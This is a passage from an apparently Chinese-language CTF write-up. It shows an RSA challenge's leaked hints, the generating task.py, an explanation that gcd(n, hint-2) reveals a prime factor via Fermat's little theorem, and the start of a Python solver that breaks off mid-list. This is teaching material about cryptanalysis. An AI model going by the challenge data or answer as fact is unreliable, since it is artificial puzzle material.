5773679028890369456276328097218681131210336197851484718484213121094699090839722641329327818066934448088431288328288112007488949292271360565624555172295051667285077138864510745740214905953043079468933679191715551224964421931824712984605682049449568976492220103844351216496482668448767237697296740468431846671505265143619239976063901580555986558904470931013978569579237148514276178765419852198637961774494186181747458089405228411950572658310072067499489988259824774767508198451267875000556446298608250644009748818937568123418528009187811944967998576518784004540892824519032050506460017670585483238226301820712571645579\nHint 14: 59, 19, 10974757986236006288348468568336947121923978268025782618680419380484847824293845383379274809628633982884248524866285416869994466804493799071019695089232140692475376148645650118342055726520583120333882910989811592931370723715884717392658914626279560914541425986351478710240862377226197891323537525676367683258652280225895980668977840969537035757009985713502197856706880646989184201990423727195172560560704893733494792945340405983958264929760613990510042281137251536502371683060105493456566203202995676363796508260438545252515574493473542492715179349497866152824132141129238032807684278789579870873990631709515352502373\nHint 15: 11, 59, 8286765915642893643722267671556930668422080363489440619486004330134849571178036674986475802754804260626759450923775241201472288503107728483612582960417838690160802\nHint 16: 3, 83, 8670564904343374156075891784422797917915847070310520984332279769504164524019002920437878667712734918407503893528964609388615752378009668179394550543334742880513288696193899579334352041612737521648871122300770732109991958777364103317237896209222739571605930423722098331428587046952745581887767018125449661836385756401767146216848185513274686419811084754784129338190887685792489185844961970682436930953762662159256843649680197802836233628748219421311091068027884246286801955132580168006746385788553263325371239064547214943270463799271582693307097866515323559640081377472410365311796667103389327125755510398234792960539\nHint 17: 47, 71, 15189655529337297599070621327692775647472437654342284733419279459044091245709484592008784236836038238199431339530080798833863694019082099360867975411468181802365883838048650755521947739185044832121750278668725458779161264572106488221158049174704002405104694045711051726668876267794954827804265584531526809688162851528267958117474561865081871142026481602702358611977383838840467216409782013973906761226139903245114056975231832568083538564658843330419770362826462102622789108069389249602641189148715388059622341376715417265924644704691316367196722599195793773962428198040205512616444509750834973953022693785550802266112\nHint 18: 19, 29, 14661046810005357468594301664850836437610256328712330874381003343699942748425302158171105550644727048051206458117828772075144383589551129619743654527620413132286889305278690645291359466534057249273843187124449541437587033949823571613090619667989912739101162245067852658322665279694710401800444138141346856093835079283227374648099624120782619771322472623630789096431414534527222485118949515372622085183912510018177895906649522504991475861146404995703763107816964209369487501529056212864220862713277632632268594192926804994930950930762255940853728034617285828125545163750399143037606327606535126251763073693473953686744\nHint 19: 11, 89, 13357214564583644951510034650716277516325510600111365531856471059002907497767937445827192806732793166523983315887101899445087845542550038342480500237151465231405685422545530090065005109607310864977025325103465672450850540379234341279749113886947539400845321822481006994262700375964062063857363515290494376286961284725864589465065587339836635723085250544188242927462327068925005089561746960078398647971113589281563663689024296134195815738058179266887469473137997216792436310641839801585271790331365746442208348676200753457562160444740691258422882276851839616144554731981681550535123108350101531030525324694963994545288\nHint 20: 13, 19, 9015439113692415723812039454602636203717179069784080604236209577969030957184510380132987544909218798262905505307236620420364723156896628015021747981816896133290154232921264396063118665954041870382404950626337554885082880595372492300185559547705412727112020773895391734178675568118417294113429562448849544338564697858353479059676992341239979279973948191000090925611122966827392226766571948922617345703402518639464697367975459916964712370264229447747875703346922955116402649868815187647332682627727429521327349380558524025434437065348919358179886784373948470464530596295968257196117932806673623409596232224263656709447\nHint 21: 17, 89, 1232624071183606371752171179827692250773859330394635710762162149851456772281037111827897119725547063233395640472176481922500789994068941245743063373416785659254352015310032922118348550975562\nHint 22: 67, 83, 1126066176169173986258375138688137558142264839106063302940880092042502490911057016254959754435510429411384392032847908273635563612047472121950839934733905729015943917767915064618640585969621038467420076188953203812632416692873236731402216410500667938438399832227071790611412372173974174687603713326333791754140419675029772154828193139783484205710539042656417324250808919494712510406268629862104562237889399268931862879343990757365436458551497886263701914349819002099339457690106946122543529626710290881457346334759953170142024757161589525394691005814751979092184245953191693247075620270045838678527511170972567753351\nHint 23: 41, 97, 15061728396574720128871454281806425283902878531290205263072044930084328354647716799950058691868870125292816458036423472349601649870044904984377004711678761714808846252355372756850495640148784156530292575757175420916873271609977179541391067607437946628688811886889502712607514447458904992024279765998865875618672417318528806259694052202283848620150531327490085874935926140164888318138777816635210686133434879564761574366090585467327313351792501721900090022412568322566880308204689579089754113916523137219409702840025596606460438071507115794360457519041650146002247978792944063933568992230154174930543323173071240960636\nHint 24: 7, 23, 107006904423598033367949136709476534616\nHint 25: 79, 47, 11094334665560612802457947914579705831928780165312070004861180761238832002874428458670163845939464475999733253092738012391076484871479088986479536610030564639805718143084622127711215172458485326388902083413575454799106868355391943732802994224342313418146481622340282330554260946195940723120836406549666330792363893799020720281135898034922255022048435484533585962047978284629786026663018345757890693521562666203031553493103945295693195640052093415731503407816366337336182698796883001653465915740746118519384260984893835094879165736186434278489286286227662273545663256993867922180157248380291757381125272120891684062194\nHint 26: 59, 73, 4064264878148785166802093462858575465400091342645180541176126645875623098033551060982695656331190143572426766578696362147717218779335361493125256534627342192680373626652482508115615860816250319187188097915962706304133850035098343668277834974105321147191342624944627482006284223163704828843061145141268544104282644658022010819808655796239544272048394743182820455393255285941665799519906799024432739271653191031181064778284104887384076188431552852025837101339257686236262365247791750207700069395619856622961279534162976795147959769683692604340368460731405668330115156114576764572051491629821619308816381773343755003534\nHint 27: 67, 37, 13951782965760049234481961368802553800278133941697263631552649243302664977209715848353709633491008434674270268090076527067844931388512019333805006404853566312201157392447713057698715800623288234051899693554210937852453814575305705182660789018065999222430838475037429354174069134372859946362529872754325135924297601113491133129277121309644377255711296412090554983403167436585565758988120192517511808267055408632606896756685326534561420410005038161122481109870042764517919065341900975187982359357007105413042469550052322588976438466403370644683889314221651454587673986716491269580073476431119104550125907982617819198239\nHint 28: 71, 31, 14592451107942406172703460352000704126425716661469483183610425663886284772375260143470595014699236417504356417924516247683378564032172689094243907515271202472795378941272772693424353756938883720892780719870429492112844354792067076527090697208293397879373413452057503440196643066732299886678533556377726500394447831070628632364135576812382061688937462189566815186722078015421531935330987991868677259308976254080329342447669466494877857082494259824027412023017042305976083947770306599290459206333751309651343338718031684134413354721116695889173022783305688553309591139544114673672159391172663588390812561345603404875445\nHint 29: 61, 37, 150312118586919145020616357224172487248862369450901081305248777087453651799298780184965167114015639778324633934952775965666791061680751287444693564273797597220185626300049938\nHint 30: 47, 89, 5435525789990781146665058968159824543197878249058619814486157180575648579639831493916004219973973832266296536703517577992770\nHint 31: 23, 47, 16103071775810171711924674905790805963818714309292465098237116772593040021211622298924186932004880334851627830206994635151992140064405277570483377357957039009351094902151630023493150975576584876244834021621269645929479405478143057020268612485343670663377970673925984030126760947109176763636955974818654880191024493408598053751276065135442200582652319408920748644591450674320233708025358524648197707659990862662361862539842868417063320792767415984991601751165223638123837341091365974671765054733794332399697028713963544373254318631595083356458002718583341127602790857490164278343070475882464426640213476914415482369850\nHint 32: 29, 5, 13149325842021723251134510511729784479095642778506166091034934686556554381120350749714138697288609601129918017821541343485285067285202422145639363694603240119439803374916552440509169187395808575353190466385753062164445875730603626277916455911345416839502129509688066724158296752117066013823226052016786749548019509350864881585069802037870118674424466298682508091272797804735861773714128160193020313575834557745724129735757517340056227714959610755715392915985854554070909168057367535004631491240072926342019254725105436116655974774609052713231818128446311960013765270122065871739363402131985754839033491581530499347992\nHint 33: 89, 47, 630043523370452187379224662747648830902214688021486477430843243593080113724992705480996062907676256037302619160067814028518895461989971281884155808829193898017336\nHint 34: 19, 59, 5312300113767710347282768227082829679387523215214639151760217349511385597102767288546324009076948101196442028352053632460946433171294574346446379257281949909272350819311609431501573807000878460778313626108872598317920103278246614995180550162481588759079785633301645095994306260526442257399195256822168763040046685053639779110740308012206330181637380011462498603874585251040951562533555627840386291011622732627801692079226133918094516784934996032323522126557227339640405344352939596441336679652918394074410690904621730980459695004938137633444530118011543020946033976566969594506053598637256025269420788063085529221486\nHint 35: 59, 3, 13338480097536050870847065134681408887393061870891194580910295898171005379071202538125320488322264936939611934926773854147441861842696082224910493485968940453414962504999277326912024770737526865763322593711772391102570024742439366641421857370464779798305027785021436688758138471130400190763565033556147205447698037378616533728663507465789889356211004747849498360714349678453175418183091908832867382402195272783569030789904261178845317149753713695808383033170623145131434242158410724256492198680651336056844232593215970896169424430059260906555229446741538286239350780216208715553935143523165464773688871774009588738407\nHint 36: 67, 2, 8256928556897492704838762552986750294374712035464071847912955091323033935694693535736594865997626239305042785518308139569682623007419575794366667620985270619928978345775201291927479777879409352040290541010779775363393802966114845982777093715738330158248145557248971011553853095404328553837691636026735523457849132602891079774484964955413419103753159331087739019434888120001297351898315190776895144785024767468167340726846414096469818750219466508467856583779003457862584610836846910059997868710036273917335512342095635575374346404071250572917845292452258621324256922950179010754476790644241744968537946791784277331172\nHint 37: 11, 89, 469829525495433863398701036274262995240821686827512278740409156383771339857992568557981522\nHint 38: 53, 17, 15381013223078846537731461466880636394199540595403435401138127547481863401431466372374802606225281410197388364722944495843405467862781503434970989158584650159590980399087359088118746163629618532987297413548047215179053477589410157484215376788161320381404390190467326828317085039705167675630596365709188985681649747552770255068423205419746730136649403555515290098619746175600947097893366036430479763751257652595334352418296864541247999321025232348500763810371215286305853572498789766256531460974011022731922336715523379552064525311328532274496963226072015892784253991084576242734695083889820166631064731394426574244137\nHint 39: 59, 3, 8639902842024035953048638563768315927624671856924547112209526883962456853052089935252707927468432895933170836045185383394096573378220873632433306851623471094895240704466661122788392467144892335530991171751297377896525529639348516066396938968040587426508605861054726429454030686327018745441753930983556245291730653368996527050046737903050080495173995563726990564829713815768651787483101363848070083858443766098560638337868296111441788798574965477355431173836128839250967090465226610709666720508328978510631834435136772497463531551713080290889081436462800389414847971067210139076388894646477223534324245688231308651402\nHint 40: 71, 2, 35228394523315997738820412922291535639435039748226420541446858967158850258697393757215146296389518178994242807247547892971367759083443187781159\nHint 41: 71, 89, 6240983929786483220051416467719053988488038641934890929981073832233939427834145472336915358758745943895354212032680367743535480193473825955326802869864352912264819240397323037315537988324410288546472301626890591739573348191915387074878814318018257079325106269383242877918486075024690767741729879076813581842036944498326059102754583317760100647490256432861228914984872474683425397073112462956198249407553140398404673370857128292911829788563089759423977978816627360219756198454057710015406165962422617662704219899517474510659197047034325834333381214858621450033089047323717051044225354940003754145032127292424992011101\nHint 42: 41, 11, 6984059054701243194406577182995741240436897138602476775543220094645161472633895356320870691493565356230021817198695018272393666667370608977208110764253393769787442206738887651454907864559105056199727308147026476795306714769493199003447522266774033773324562270207374768320253619068701592065984601594887388312013493599257403722865953095442171057100657271578293280686338908523864018983343500587769033822586560003572736592272152317739316444108939218480574158527171198620726886917802598591993658035939705289787249746288650701612275221097113840902054486416966701593345265607809381111897049158093808534604642731640119152868\nHint 43: 13, 29, 9610425425501485449537748361164652677158792621032292104946727266655594704290554003044377640635938997615382559405839696633456524257520749570798069876408676921921508491566094310451535812726509625559772552216775984034994654686077581771306574807821000988687494843385541833458873739204271564568689723925761973189708592881482846646426280049739796580929850941981882154358359008000707906221459919505725630791914755910838899191924833300609856950819107362413681305294507489838444421285910012653866140490877420620551310798317895506704520509435554786438387597440096937627702835916143794698887778982888695219967982245649746655470\nHint 44: 47, 97, 794708560552308405126546731517428100557886745717835758758542380710685584\nHint 45: 3, 41, 4366286865897405386543255708293800522386204706169307328366554555364884083859171277798722946451756634920858627299532823660480318239049230750988476049477513092520844569149267106332990711387926038335306437738094725423916554317517443566123618496555545533680705744831228568422251969382492688050958971980479679805428102801749764130245809570484750989852311926567073592760547445916703018635471776441628270869914109919847570929937108398744190319099944135878164624117925789234408527770792315261913666378047301366117348007407689729553121872429672477943763065031289363375897860958687532065443830782060680953252171706108298186067\nHint 46: 53, 13, 16599275744410550408933364882313950383421717117863259063696626313760940800128182804380262220526496674159136503269710326208644142632589833265263673629452996345476574747374747172655476596826644020872255782962700686562762713813009141052898954099526049199438330249525172937305118217295550996402876461138835393788249817466964132570303998739392864522160381559518796827917831858448710285259754350691301608261901046038810797165013301247129220438986641677769203536623610901604156282036632560795746698128751128683870700853339493839501889121028640592461819470558005091594236201609522690232023400257649767388230656904982965702400\nHint 47: 61, 83, 9953189432255063894070711778963178970743198121753649081719130469512753806047549503962109442976714615255038871181051195512724207218843889262884288045589566753004137388059340730864662203711021106738767094228552897493653199240432249671119014845998208040396103544771523200759949973732641979644934204944350638114647371917538547803820215871447465362042956264048360078551647879310238285850657470764222027085496193016418088396386760643015475367197907378932626248164269818716905644542858090723472987968554892684192736976050169896444520698548656309379499864809652240244453616286236722509397142224233180948147011605558427902848\nHint 48: 47, 73, 11137871466581047781242984634852964336706264103460602528475970728553465644713327296350923627071860721778412789236714773697433892321959279504008377433584604885817319604115996426320874382244073671694322092160768350159529231732048447670177579115854882538413223938721279445190025525651472499343624011272214336778696111400347742318222789215043195711269360705507743463500549755479755775737105743290208621332589467304719937369513194207595213182980370357559166180993485168866418076474829491707312908665547905615295104716814273672708222960604034067248688735024594069804630472429600684961470444745009128678939204098625367015452\nHint 49: 37, 43, 8547801237237556680245447121357531340087815887730999035326630934574339083867172461996679202294604204246415617087303468869638590371489396511890451394149215396045103967365422720335104673107126428846330142015210956274026922065251671248521248406703003517010268831048835400375497130725745344823402860499648204664008236488552255035422928921490487905318800334939525030207122862220895298568207554924706494486709790089585773581447139024819366484617067643862923821174578132381404045225537724922355917737191443476738183156619271477344846716060997041706765920488392521346954370234605596534371205052913391651084238833069263785246\nHint 50: 89, 7, 10398214245820233588167072072340460997067473220261572021578267549114000461324485988447437613040475809210011162256875428799327091235990171928216379105895288609773032862919523980293555963618323001564571973363418294497086861386518673361280706598614868452173330762143105775824076992409365806017218778102139861298703673447295670293191397994589110648541822608470022190616048229374246581750506635166699349805517119679503917519913987281318125804952325118589261418014369477837522696543190827291142488222603361805610512683583242709234195072960764001035300916480662591147878968245702960413084896858751962028377013605141587432900\n\nYour goal: recover the flag by factoring n using the hints!\n<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">task.py<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>import random\nimport math\n\np = get_prime(1024)\nq = get_prime(1024)\nn = p * q\ne = 65537\n\nm = bytes_to_long(flag)\nc = pow(m, e, n)\n\nbases = get_primes_up_to(100)\n\nhints = &#91;]\nfor i in range(len(bases)):\n    for j in range(i+1, len(bases)):\n        hint_value = (pow(bases&#91;i], p-1, n) + pow(bases&#91;j], p-1, n)) % n\n        hints.append((bases&#91;i], bases&#91;j], hint_value))\n<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>\u52a0\u5bc6\u539f\u7406<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u6807\u51c6\u8d39\u9a6c\u5c0f\u5b9a\u7406\u8868\u8ff0\u4e3a\uff1a\u5982\u679c<code>p<\/code>\u662f\u7d20\u6570\uff0c\u4e14<code>a<\/code>\u4e0d\u662f<code>p<\/code>\u7684\u500d\u6570\uff0c\u5219ap\u22121\u22611(modp)*a*<em>p<\/em>\u22121\u22611(mod<em>p<\/em>)\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u5728\u672c\u9898\u4e2d\uff0c\u52a0\u5bc6\u7cfb\u7edf\u5bf9\u6bcf\u4e2a\u5c0f\u4e8e100\u7684\u7d20\u6570\u57fa\u5e95<code>base<\/code>\u8ba1\u7b97\u4e86basep\u22121mod\u2009\u2009n*ba<strong>s<\/strong>e*<em>p<\/em>\u22121mod<em>n<\/em>\u3002\u6839\u636e\u4e2d\u56fd\u5269\u4f59\u5b9a\u7406\uff0c\u8fd9\u4e2a\u503c\u6a21<code>p<\/code>\u7b49\u4e8e1\uff08\u7531\u4e8e\u8d39\u9a6c\u5c0f\u5b9a\u7406\uff09\uff0c\u4f46\u6a21<code>q<\/code>\u662f\u4e00\u4e2a\u4e0d\u540c\u7684\u503c\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u7cfb\u7edf\u751f\u6210\u7684hints\u683c\u5f0f\u4e3a\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>hint_value = (base1^(p-1) + base2^(p-1)) mod n<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">\u5173\u952e\u89c2\u5bdf\uff1a\u5bf9\u4e8e\u4efb\u4f55\u8fd9\u6837\u7684hint_value\uff0c\u6211\u4eec\u6709\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>hint_value \u2261 (1 + 1) \u2261 2 (mod p)<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">\u8fd9\u610f\u5473\u7740<code>p<\/code>\u6574\u9664<code>(hint_value - 2)<\/code>\uff0c\u4ece\u800c\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>gcd(n, hint_value - 2) = p \u6216 q<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>\u89e3\u5bc6\u6b65\u9aa4<\/strong><\/p>\n\n\n\n<ol class=\"wp-block-list\">\n<li>\u5206\u6790\u6240\u6709\u7684hints\uff0c\u5bf9\u6bcf\u4e2a<code>hint_value<\/code>\u8ba1\u7b97<code>gcd(n, hint_value - 2)<\/code><\/li>\n\n\n\n<li>\u4e00\u65e6\u627e\u5230\u5927\u4e8e1\u4e14\u5c0f\u4e8en\u7684gcd\uff0c\u5c31\u6210\u529f\u5206\u89e3\u4e86<code>n<\/code><\/li>\n\n\n\n<li>\u4f7f\u7528\u5206\u89e3\u51fa\u7684\u7d20\u6570\u8ba1\u7b97\u79c1\u94a5\u5e76\u89e3\u5bc6\u5bc6\u6587<\/li>\n<\/ol>\n\n\n\n<p class=\"wp-block-paragraph\">py3\u4ee3\u7801\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>import math\n\nn = 16926747183730811445521182287631871095235807124637325096660759361996155369993998745638293862726267741890840654094794027600177564948819372030933079291097084177091863985749240756085243654442374722882507015343515827787141307909182820013354070321738405810257107651857739607060274549412692517140259717346170524920540888050323066988108836911975466603073034433831887208978130406742714302940264702874305095602623379177353873347208751721068498690917932776984190598143704567665475161453335629659200748786648288309401513856740323455946901312988841290917666732077747457081355853722832166331501779601157719722291598787710746917947\ne = 65537\nc = 7135669888508993283998887257526185813831780208680788333332044930342125381561919830084088631920301623909949443002073193381401761901398826719665411432016217400457613545308262831975564456231165114091904748808206330488231569773162745696602366468753664188261933014198218922459715972876740957260132243927549037840265753282534565674280908439875550179801788711737901632349136780584007599655055605772651127003711138512998683145763743839326460319440186099818507078433271291685194944254795690424327192625258701835654639832285402990995662846426561789508331799972329711410217802657682842382105869446853207634070295959281375484933\n\nhint_values = &#91;\n    403072318395713195475880235840306655046644537786837658466183670390322357403650602210882802453171853452,\n    3401877351823051464833008106697922874740843547186522246399577691648145322938787488999079423405760696040635223407580102549819096176975820017380148265275786281647240647714533261221890310813882987089721138616513427711006945061727486708277298401545762448776593105730005387022319319199166969225690343981500127626848336242187816071435842118963634505746771844269484845077330851526393327015758760003053231670737896550596266539249975891234238005583184203089180325261872944167834576158878843510707348603774425827560724587546720860765943393963597645881666559247252842017499263265738255716811999328445725902262302532911214255949,\n    695583691945177012011155613294846891840015729899504980764916686517371703553347581254163445300367305365949600797847620946823894152274689248119430670857791635723385692575931740078475490085973951317953049329486264578815530286784178680687403627415153526425715193114420845091853572366108176759184115038228886689580295865909953096284457818874267153151571968297454864850732608316298813594124020007025412733770104355236849081247730461956131749267446455113813284775308663385548094921945410215359273656658830019785099633226412843434625002115741084636776823289994271249660745143685585443820708578849162449717982725541307852715,\n    971645701575323882519635342913625889703399294086,\n    15015015166119321293244100074414416277924832658329700344653519929879563546652512240571777007009139132526751717913688831473249036114283479537249767699902565862566840754892319936718933957878788242522102884592375092063435348463420495622162622111752797419564087812071877456034189172928466087325995711799494559632348117577986369270044265839851198529901138826760234172452522279821372814789053868333623123766583799003287221335420456780264904184548645200345715153696373219687248029519611142514212181449677795769427641367964609639782220743835161725500332507591502818244881229659746207461229056486960160782643424330243354078694,\n    4427802296687944448870952484227318,\n    19174465169354813231681320402781559275699092043658101294284851123118510716279410,\n    6031706827842456717715236244872427215835819411314168938820265741988730625387931647610750902952789928566569174296650515449892611198040938188209413722806254050103019879240215344570043498312370280623702924998835728624935413985841142180365335178468710734638030582183503463305813229510689954065159041592316788178873050291779739508108222965509434291492950189742558594400755699777715854046635146464467729949201239668741264832027750549876625288984575624485894153879412247669943493660233937543961086506015000295606199222800612415043850877838520358081044378561877650595040905680464898635661677396546195369907960492865630959945,\n    14201978515584496685882877364621713654579319459919970854066889531106363038011334520524797899491133943665135480301300406440254472658620428164578914318059588912647092994632856690,\n    17761887753093897979823770061456102763834352,\n    41507003886097058075099723854760683376265594977573568033994190650007839178902251532502869037994416604331875382795838745231904976024621501994264148688612287920886666515397312761673326022980940385774334828394940770351447957541072690963220641780722897399543555486513918873014494692941882646929202605685305683969151271831603708612223260616432695010847067252877343217676963276876850265407927146383572955861063428706012170676831524971272198283920333900403902257748241220365118645448662797961778388544299359695919130547938351588261698392641490575786350259413542725944665834486513968924860904668074607650304874723425230270137,\n    2093308535564899860358544644764036388478107502010763064242342417957960952425000274395405300689532194265342136032111944045432326085818281844400947666782274940461183395046865284971635536544260910022728631047126094710543502860882170401987674931187922422766222327719930375318976698721098197543008758760603140658147997152753438270623866111022164350986375651437321309108736011279113592001916870502347116720151257306071411569096876275005515839079136440506703094781753301521917670413306257490297241974169467740732230454155267623129991881695623072243477621355484939295049508367225410929080326109567111654067945546042372106278,\n    5773679028890369456276328097218681131210336197851484718484213121094699090839722641329327818066934448088431288328288112007488949292271360565624555172295051667285077138864510745740214905953043079468933679191715551224964421931824712984605682049449568976492220103844351216496482668448767237697296740468431846671505265143619239976063901580555986558904470931013978569579237148514276178765419852198637961774494186181747458089405228411950572658310072067499489988259824774767508198451267875000556446298608250644009748818937568123418528009187811944967998576518784004540892824519032050506460017670585483238226301820712571645579,\n    10974757986236006288348468568336947121923978268025782618680419380484847824293845383379274809628633982884248524866285416869994466804493799071019695089232140692475376148645650118342055726520583120333882910989811592931370723715884717392658914626279560914541425986351478710240862377226197891323537525676367683258652280225895980668977840969537035757009985713502197856706880646989184201990423727195172560560704893733494792945340405983958264929760613990510042281137251536502371683060105493456566203202995676363796508260438545252515574493473542492715179349497866152824132141129238032807684278789579870873990631709515352502373,\n    8286765915642893643722267671556930668422080363489440619486004330134849571178036674986475802754804260626759450923775241201472288503107728483612582960417838690160802,\n    8670564904343374156075891784422797917915847070310520984332279769504164524019002920437878667712734918407503893528964609388615752378009668179394550543334742880513288696193899579334352041612737521648871122300770732109991958777364103317237896209222739571605930423722098331428587046952745581887767018125449661836385756401767146216848185513274686419811084754784129338190887685792489185844961970682436930953762662159256843649680197802836233628748219421311091068027884246286801955132580168006746385788553263325371239064547214943270463799271582693307097866515323559640081377472410365311796667103389327125755510398234792960539,\n    15189655529337297599070621327692775647472437654342284733419279459044091245709484592008784236836038238199431339530080798833863694019082099360867975411468181802365883838048650755521947739185044832121750278668725458779161264572106488221158049174704002405104694045711051726668876267794954827804265584531526809688162851528267958117474561865081871142026481602702358611977383838840467216409782013973906761226139903245114056975231832568083538564658843330419770362826462102622789108069389249602641189148715388059622341376715417265924644704691316367196722599195793773962428198040205512616444509750834973953022693785550802266112,\n    14661046810005357468594301664850836437610256328712330874381003343699942748425302158171105550644727048051206458117828772075144383589551129619743654527620413132286889305278690645291359466534057249273843187124449541437587033949823571613090619667989912739101162245067852658322665279694710401800444138141346856093835079283227374648099624120782619771322472623630789096431414534527222485118949515372622085183912510018177895906649522504991475861146404995703763107816964209369487501529056212864220862713277632632268594192926804994930950930762255940853728034617285828125545163750399143037606327606535126251763073693473953686744,\n    13357214564583644951510034650716277516325510600111365531856471059002907497767937445827192806732793166523983315887101899445087845542550038342480500237151465231405685422545530090065005109607310864977025325103465672450850540379234341279749113886947539400845321822481006994262700375964062063857363515290494376286961284725864589465065587339836635723085250544188242927462327068925005089561746960078398647971113589281563663689024296134195815738058179266887469473137997216792436310641839801585271790331365746442208348676200753457562160444740691258422882276851839616144554731981681550535123108350101531030525324694963994545288,\n    9015439113692415723812039454602636203717179069784080604236209577969030957184510380132987544909218798262905505307236620420364723156896628015021747981816896133290154232921264396063118665954041870382404950626337554885082880595372492300185559547705412727112020773895391734178675568118417294113429562448849544338564697858353479059676992341239979279973948191000090925611122966827392226766571948922617345703402518639464697367975459916964712370264229447747875703346922955116402649868815187647332682627727429521327349380558524025434437065348919358179886784373948470464530596295968257196117932806673623409596232224263656709447,\n    1232624071183606371752171179827692250773859330394635710762162149851456772281037111827897119725547063233395640472176481922500789994068941245743063373416785659254352015310032922118348550975562,\n    1126066176169173986258375138688137558142264839106063302940880092042502490911057016254959754435510429411384392032847908273635563612047472121950839934733905729015943917767915064618640585969621038467420076188953203812632416692873236731402216410500667938438399832227071790611412372173974174687603713326333791754140419675029772154828193139783484205710539042656417324250808919494712510406268629862104562237889399268931862879343990757365436458551497886263701914349819002099339457690106946122543529626710290881457346334759953170142024757161589525394691005814751979092184245953191693247075620270045838678527511170972567753351,\n    15061728396574720128871454281806425283902878531290205263072044930084328354647716799950058691868870125292816458036423472349601649870044904984377004711678761714808846252355372756850495640148784156530292575757175420916873271609977179541391067607437946628688811886889502712607514447458904992024279765998865875618672417318528806259694052202283848620150531327490085874935926140164888318138777816635210686133434879564761574366090585467327313351792501721900090022412568322566880308204689579089754113916523137219409702840025596606460438071507115794360457519041650146002247978792944063933568992230154174930543323173071240960636,\n    107006904423598033367949136709476534616,\n    11094334665560612802457947914579705831928780165312070004861180761238832002874428458670163845939464475999733253092738012391076484871479088986479536610030564639805718143084622127711215172458485326388902083413575454799106868355391943732802994224342313418146481622340282330554260946195940723120836406549666330792363893799020720281135898034922255022048435484533585962047978284629786026663018345757890693521562666203031553493103945295693195640052093415731503407816366337336182698796883001653465915740746118519384260984893835094879165736186434278489286286227662273545663256993867922180157248380291757381125272120891684062194,\n    4064264878148785166802093462858575465400091342645180541176126645875623098033551060982695656331190143572426766578696362147717218779335361493125256534627342192680373626652482508115615860816250319187188097915962706304133850035098343668277834974105321147191342624944627482006284223163704828843061145141268544104282644658022010819808655796239544272048394743182820455393255285941665799519906799024432739271653191031181064778284104887384076188431552852025837101339257686236262365247791750207700069395619856622961279534162976795147959769683692604340368460731405668330115156114576764572051491629821619308816381773343755003534,\n    13951782965760049234481961368802553800278133941697263631552649243302664977209715848353709633491008434674270268090076527067844931388512019333805006404853566312201157392447713057698715800623288234051899693554210937852453814575305705182660789018065999222430838475037429354174069134372859946362529872754325135924297601113491133129277121309644377255711296412090554983403167436585565758988120192517511808267055408632606896756685326534561420410005038161122481109870042764517919065341900975187982359357007105413042469550052322588976438466403370644683889314221651454587673986716491269580073476431119104550125907982617819198239,\n    14592451107942406172703460352000704126425716661469483183610425663886284772375260143470595014699236417504356417924516247683378564032172689094243907515271202472795378941272772693424353756938883720892780719870429492112844354792067076527090697208293397879373413452057503440196643066732299886678533556377726500394447831070628632364135576812382061688937462189566815186722078015421531935330987991868677259308976254080329342447669466494877857082494259824027412023017042305976083947770306599290459206333751309651343338718031684134413354721116695889173022783305688553309591139544114673672159391172663588390812561345603404875445,\n    150312118586919145020616357224172487248862369450901081305248777087453651799298780184965167114015639778324633934952775965666791061680751287444693564273797597220185626300049938,\n    5435525789990781146665058968159824543197878249058619814486157180575648579639831493916004219973973832266296536703517577992770,\n    16103071775810171711924674905790805963818714309292465098237116772593040021211622298924186932004880334851627830206994635151992140064405277570483377357957039009351094902151630023493150975576584876244834021621269645929479405478143057020268612485343670663377970673925984030126760947109176763636955974818654880191024493408598053751276065135442200582652319408920748644591450674320233708025358524648197707659990862662361862539842868417063320792767415984991601751165223638123837341091365974671765054733794332399697028713963544373254318631595083356458002718583341127602790857490164278343070475882464426640213476914415482369850,\n    13149325842021723251134510511729784479095642778506166091034934686556554381120350749714138697288609601129918017821541343485285067285202422145639363694603240119439803374916552440509169187395808575353190466385753062164445875730603626277916455911345416839502129509688066724158296752117066013823226052016786749548019509350864881585069802037870118674424466298682508091272797804735861773714128160193020313575834557745724129735757517340056227714959610755715392915985854554070909168057367535004631491240072926342019254725105436116655974774609052713231818128446311960013765270122065871739363402131985754839033491581530499347992,\n    630043523370452187379224662747648830902214688021486477430843243593080113724992705480996062907676256037302619160067814028518895461989971281884155808829193898017336,\n    5312300113767710347282768227082829679387523215214639151760217349511385597102767288546324009076948101196442028352053632460946433171294574346446379257281949909272350819311609431501573807000878460778313626108872598317920103278246614995180550162481588759079785633301645095994306260526442257399195256822168763040046685053639779110740308012206330181637380011462498603874585251040951562533555627840386291011622732627801692079226133918094516784934996032323522126557227339640405344352939596441336679652918394074410690904621730980459695004938137633444530118011543020946033976566969594506053598637256025269420788063085529221486,\n    13338480097536050870847065134681408887393061870891194580910295898171005379071202538125320488322264936939611934926773854147441861842696082224910493485968940453414962504999277326912024770737526865763322593711772391102570024742439366641421857370464779798305027785021436688758138471130400190763565033556147205447698037378616533728663507465789889356211004747849498360714349678453175418183091908832867382402195272783569030789904261178845317149753713695808383033170623145131434242158410724256492198680651336056844232593215970896169424430059260906555229446741538286239350780216208715553935143523165464773688871774009588738407,\n    8256928556897492704838762552986750294374712035464071847912955091323033935694693535736594865997626239305042785518308139569682623007419575794366667620985270619928978345775201291927479777879409352040290541010779775363393802966114845982777093715738330158248145557248971011553853095404328553837691636026735523457849132602891079774484964955413419103753159331087739019434888120001297351898315190776895144785024767468167340726846414096469818750219466508467856583779003457862584610836846910059997868710036273917335512342095635575374346404071250572917845292452258621324256922950179010754476790644241744968537946791784277331172,\n    469829525495433863398701036274262995240821686827512278740409156383771339857992568557981522,\n    